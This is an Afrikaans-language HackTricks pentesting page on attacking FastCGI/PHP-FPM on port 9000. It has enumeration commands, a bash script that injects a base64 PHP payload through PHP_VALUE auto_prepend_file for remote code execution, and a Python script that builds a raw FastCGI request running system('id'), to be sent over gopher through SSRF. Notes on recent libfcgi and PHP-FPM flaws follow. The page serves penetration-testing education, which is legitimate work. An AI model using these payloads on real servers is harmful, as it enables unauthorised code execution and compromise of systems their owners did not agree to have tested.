9000 Pentesting FastCGI
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
As jy wil leer wat FastCGI is kyk die volgende bladsy:
disable_functions bypass - php-fpm/FastCGI
Per verstek loop FastCGI op poort 9000 en word nie deur nmap herken nie. Gewoonlik luister FastCGI slegs op localhost.
Enumerasie / Vinnige kontroles
- Port scan:
nmap -sV -p9000 <target>(sal dikwels “unknown” diens wys; toets dit handmatig). - Peil FPM-statusbladsy:
SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000(verstek php-fpmpm.status_path). - Vind bereikbare sockets via SSRF: as ’n HTTP-diens vir SSRF uitgebuit kan word, probeer
gopher://127.0.0.1:9000/_...payloads om die FastCGI-luisteraar te bereik. - Nginx miskonfigurasies:
cgi.fix_pathinfo=1metfastcgi_split_path_infofoute laat jou/.phpby statiese lêers voeg en PHP bereik (code exec via traversal).
RCE
Dit is redelik maklik om FastCGI arbitrêre kode te laat uitvoer:
Stuur 'n FastCGI-versoek wat 'n PHP-payload vooraf toevoeg
```bash #!/bin/bashPAYLOAD=“<?php echo ‘’;” FILENAMES=“/var/www/public/index.php” # Exisiting file path
HOST=$1 B64=$(echo “$PAYLOAD”|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i
PHP_VALUE=“allow_url_include=1”$‘\n’“allow_url_fopen=1”$‘\n’“auto_prepend_file=‘data://text/plain;base64,$B64’”
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT done
</details>
of jy kan ook die volgende python-skrip gebruik: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
### SSRF/gopher to FastCGI (wanneer 9000 nie direk bereikbaar is nie)
As jy slegs 'n **SSRF**-primitive beheer, kan jy steeds FastCGI teiken deur die gopher scheme te gebruik en 'n volledige FastCGI-versoek saamstel. Voorbeeld payload-bouerder:
<details>
<summary>Bou en stuur 'n gopher FastCGI RCE payload</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"
def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content
def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload = rec(4, enc_params(params)) + rec(4, b"") # FCGI_PARAMS + terminator
payload += rec(5, body) # FCGI_STDIN
s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))
Skakel payload na URL-safe base64/percent-encoding en stuur dit via gopher://host:9000/_<payload> in jou SSRF.
Aantekeninge oor onlangse probleme
- libfcgi <= 2.4.4 integer overflow (2024): vervaardigde
nameLen/valueLenin FastCGI rekorde kan oorloop op 32‑bit builds (algemeen in embedded/IoT), wat heap RCE tot gevolg kan hê wanneer die FastCGI-sok bereikbaar is (direk of via SSRF). - PHP-FPM log manipulation (CVE-2024-9026): wanneer
catch_workers_output = yes, aanvallers wat FastCGI versoeke kan stuur mag tot 4 bytes per logreël afkap of injecteer om aanduiders uit te vee of logs te vergiftig. - Classic Nginx + cgi.fix_pathinfo misconfig: nog steeds wyd gesien; as
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;gebruik word sonder kontroles vir lêerbestaan, word enige pad wat op.phpeindig uitgevoer, wat path traversal of source overwrite styl gadgets moontlik maak.
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


